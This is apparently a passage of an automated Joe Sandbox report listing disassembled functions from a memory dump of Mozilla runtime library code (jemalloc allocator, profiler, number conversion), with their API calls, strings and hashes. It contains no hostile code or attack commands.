Opcode Fuzzy Hash: 4225aa750f02e98461f85c51b125b1ae489c43bc4c111ce32017461f8d014586
Instruction Fuzzy Hash: DC21B4B1A002089BDB106F29DC08AAA7BB8FF45314F018429F85A97250CB74A958CFD5

Function 6C505E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2
memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C5061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C507652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5072F8
MOZ_CRASH(), xrefs: 6C507BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C50730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5072E3
ewTl, xrefs: 6C505E9C, 6C505F22, 6C5061ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C507BCD, 6C507C1F, 6C507C34, 6C5080FD

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewTl
API String ID: 2613674957-2028794004
Opcode ID: d147d57dd4e0c782507ba8f32927acdaa9999ed1f4a4436152d45c8f776bfd0b
Instruction ID: 625b0048c67b0eefaac6b8af15cbc6198e9967794ac60414f33f99356e715365
Opcode Fuzzy Hash: d147d57dd4e0c782507ba8f32927acdaa9999ed1f4a4436152d45c8f776bfd0b
Instruction Fuzzy Hash: 42337C717067018FD308CF29C990615BBE2BF85368F29C6ADE969CB7A5D731E881CB41

Function 6C534820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C5349B4
ProfileBuffer parse error: %s, xrefs: 6C534DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C534D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C534D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C534DB8, 6C534DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C534CAF
-%llu, xrefs: 6C534825
schema, xrefs: 6C5348C1
Vl, xrefs: 6C534F88

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free
String ID: Vl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1900852875
Opcode ID: 8992d4cf1283daee26c671d15c3401c1f8449e9819ce029fb9d71d58be5247de
Instruction ID: 20a63bc2ef329670cc6009183fc721524aa82fc9e89c5ab1f04326f7d5835ee3
Opcode Fuzzy Hash: 8992d4cf1283daee26c671d15c3401c1f8449e9819ce029fb9d71d58be5247de
Instruction Fuzzy Hash: 3A723071914B858BC322CF35C8517ABF7E5BFDA344F109B1EE4896B611EB70A486CB42

Function 6C50D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D4F2
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D50B

Part of subcall function 6C4ECFE0: EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
Part of subcall function 6C4ECFE0: LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D52E
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50D6A6
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D712
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50D7EA

Strings

<jemalloc>, xrefs: 6C50D827
: (malloc) Error initializing arena, xrefs: 6C50D82C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 28bfcf1807a6e98b34e4588d29ff1a36e819c17fa0c9305d62211e92026c3931
Instruction ID: d2247abd8d4d06a1c7ba9e181e029974ede8e8f756dc6a9a0db35cb879ec5de4
Opcode Fuzzy Hash: 28bfcf1807a6e98b34e4588d29ff1a36e819c17fa0c9305d62211e92026c3931
Instruction Fuzzy Hash: 5491AD71B057418FD714CF29CD9072AB7E1EB8A314F158A2EE59AC7B91E770A844CB82

Function 6C544EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C544EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C544F2E
moz_xmalloc.MOZGLUE ref: 6C544F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C544F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5452E6
Sleep.KERNEL32(00000010), ref: 6C545481
free.MOZGLUE(?), ref: 6C545498

Strings

(, xrefs: 6C545250

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2d1900be8778e5efa5005621d0b440ba13509f92f4fadcc3f1b46464548616cc
Instruction ID: d12c54db57b861c3a59386fce41f00e0c99833e890a825efa5a1d2586647096c
Opcode Fuzzy Hash: 2d1900be8778e5efa5005621d0b440ba13509f92f4fadcc3f1b46464548616cc
Instruction Fuzzy Hash: 96F1C272A19B008FC716CF39C85062BB7F5AFD6394F46872EF846A7651DB319842CB81

Function 6C547030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C547046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C547060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C54707E

Part of subcall function 6C4F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4F81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C547096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C54709C
LocalFree.KERNEL32(?), ref: 6C5470AA

Strings

(null), xrefs: 6C54706A, 6C547083
### ERROR: %s: %s, xrefs: 6C547087

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: c4656ae80c6744caa30721a4344687c95df4f2f73f576e2e7eb6ee97bd023f3a
Instruction ID: b06d1bb8080ce94ad4a97d163046c89b7fe194d85bc8366ccef9677d4a2fb2ce
Opcode Fuzzy Hash: c4656ae80c6744caa30721a4344687c95df4f2f73f576e2e7eb6ee97bd023f3a
Instruction Fuzzy Hash: D001B9B2A00104AFDF00BB6ADC4ADBF7BBCEF49214F020425FA45E7651E6716D148BA5

Function 6C509E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C509EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C509F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C509F34
LeaveCriticalSection.KERNEL32(?), ref: 6C50A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C50A8B1, 6C50A8D4, 6C50A8EF

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 2667a676d143c6a40a67316f5b74fd5a3e7f3b75ba69fa85072b179cb88e7dd5
Instruction ID: 8b808a01b21a38a772caf7257f78f10f859cc94046f79d601a191f52812fb9c7
Opcode Fuzzy Hash: 2667a676d143c6a40a67316f5b74fd5a3e7f3b75ba69fa85072b179cb88e7dd5
Instruction Fuzzy Hash: D2726A72A156118FD714CF29C950615FBE1BF89328F2AC76DE869DB792D331E842CB80

Function 6C532C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C532C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C532C61

Part of subcall function 6C4E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
Part of subcall function 6C4E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C532C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C532E2D

Part of subcall function 6C4F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4F81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C532E3B
expected a Time entry, xrefs: 6C532E36
(root), xrefs: 6C53354F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3f500c82b866cf6e31e0e4715cafd77ef5cb4a4239fb44dddbd633455e4eb380
Instruction ID: c758985df0b16d30336edbd4aa4e4680f908bf68d823c6d5eeb551edbb1d2dc6
Opcode Fuzzy Hash: 3f500c82b866cf6e31e0e4715cafd77ef5cb4a4239fb44dddbd633455e4eb380
Instruction Fuzzy Hash: 2391B0706087408FC724CF28CC8469EB7E1AFC9358F505D1DE59A8B751EB30D94ACB92

Function 6C549E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C549F3D
__aulldiv.LIBCMT ref: 6C549F77
__aullrem.LIBCMT ref: 6C549F8C
__aulldiv.LIBCMT ref: 6C54A023

Strings

-Infinity, xrefs: 6C549E60, 6C549E7B
NaN, xrefs: 6C549EAB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 6966f17bca14d411fdfb26c2a13a8aae41bd42ff398e5f35fa47224c7dcef663
Instruction ID: 05965fd9a4b59e8c311005a34f050123f4e8fcfe2a5e0164f86011eab5bd8327
Opcode Fuzzy Hash: 6966f17bca14d411fdfb26c2a13a8aae41bd42ff398e5f35fa47224c7dcef663
Instruction Fuzzy Hash: 7FC1AE31E04319CBDB14CFA9CC94B9EB7BAEB88314F54852DD405ABB80D771AD49CB91

Function 6C4ED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C4EDA88
-, xrefs: 6C4ED7DD
0, xrefs: 6C4EDC7F
0, xrefs: 6C4ED852
8, xrefs: 6C4EDC08
1, xrefs: 6C4EDBDD
@, xrefs: 6C4EDAF6
9, xrefs: 6C4EDE7F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 4bf70ca6304aef546565fdae03834ec21dcf023912d928e178c94df848c9629e
Instruction ID: 8f7f3dd9941235ab667615d7895207ea060a0bff912a69442a39dfa1ae4923e1
Opcode Fuzzy Hash: 4bf70ca6304aef546565fdae03834ec21dcf023912d928e178c94df848c9629e
Instruction Fuzzy Hash: 0E62CE3050C3458FD705CF28C490F5ABBE2AFCA35AF1A4A5DE8E14BB91D3359985CB82

Function 6C55545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C558A4B

Strings

~qNl, xrefs: 6C555703, 6C55921F, 6C559269, 6C555740, 6C559459, 6C5556C7, 6C55948F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memset
String ID: ~qNl
API String ID: 2221118986-3580445996
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f90d94ea922435f05162a31537a319ae3126dfb54b1c72f8da0685e4e17a80f4
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: CDB1D772E0021ACFDB14CF68CC907A9B7B2EF85314F5502AAC549DB791E730AD95CB91

Function 6C55542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C55925C

Strings

~qNl, xrefs: 6C555703, 6C55921F, 6C559269, 6C555740, 6C559459, 6C5556C7, 6C55948F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memset
String ID: ~qNl
API String ID: 2221118986-3580445996
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: df9b5fa27f979a278870682f096745419a5e0ce1f563b0c7e773b5cdae7be8b2
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: BBB1C572E0120ACBDB14CE58CC816E9B7B2EF84314F55026AC949DB785D730AD9ACB90

Function 6C54C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C54C0E9), ref: 6C54C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C54C437
FreeLibrary.KERNEL32(?,6C54C0E9), ref: 6C54C44C

Strings

NtQueryVirtualMemory, xrefs: 6C54C431
ntdll.dll, xrefs: 6C54C413

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b7d1dbfb9f005c292d0db7fab1d6b1d0957e666df388b3f68dc5d0a15e3ffd35
Instruction ID: 28b7d2f2d4cd9d2f3ad87db2a4d3d9fe1ab72e7059a30674aa004b3514a71320
Opcode Fuzzy Hash: b7d1dbfb9f005c292d0db7fab1d6b1d0957e666df388b3f68dc5d0a15e3ffd35
Instruction Fuzzy Hash: 5DE09270A013019BDB007B7B8E187397AF8B786305F029256EA04A1720EBB1D8049A58

Function 6C4F9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C4FA824
0, xrefs: 6C4FA100
0, xrefs: 6C4FAB22
9, xrefs: 6C4FA5D6
@, xrefs: 6C4FA625
' , xrefs: 6C4FA3D8

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 155df6e5ad399f51fbd50a61568a1b3b70a25189364ed869570033ddfad94dd8
Instruction ID: 45dff9a8e827b5f69af1ee4c6498aa192b61d5e0535f285ba37e4e106bebfdd2
Opcode Fuzzy Hash: 155df6e5ad399f51fbd50a61568a1b3b70a25189364ed869570033ddfad94dd8
Instruction Fuzzy Hash: 8682BD319093159ED711CE09C080E6EB7F2EFC575AF558A2AE8F547B90D335A887CB82

Function 6C4EBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4EC1CB
__aulldiv.LIBCMT ref: 6C4EC24C
__aulldiv.LIBCMT ref: 6C4EC348
__aullrem.LIBCMT ref: 6C4EC365
__aulldiv.LIBCMT ref: 6C4EC37D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 9664e537d940054d63c6ec072537f00e83e9e67a2e525c69111c70b180ec0f35
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: C7321532B046118FC718DE6CC890E66BBE6AFC9350F0A866DE895CB395D734ED05CB91

Function 6C5377A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C537A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C537A93

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C537AA1

Part of subcall function 6C505C50: __aulldiv.LIBCMT ref: 6C505DB4
Part of subcall function 6C505C50: LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C537B31

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bf44c3e8efd191b978a12b672f9847f076b20273633e2643ec75ea2aa0467b0f
Instruction ID: 710b3ed822ba5e8a99236f18df5790ef614c05856889e344234bce1522598c8a
Opcode Fuzzy Hash: bf44c3e8efd191b978a12b672f9847f076b20273633e2643ec75ea2aa0467b0f
Instruction Fuzzy Hash: C4B19E31A08390CBDB14CE24C95065FB7E2AFC5358F155A1CE999A7B91E770ED0ACB82

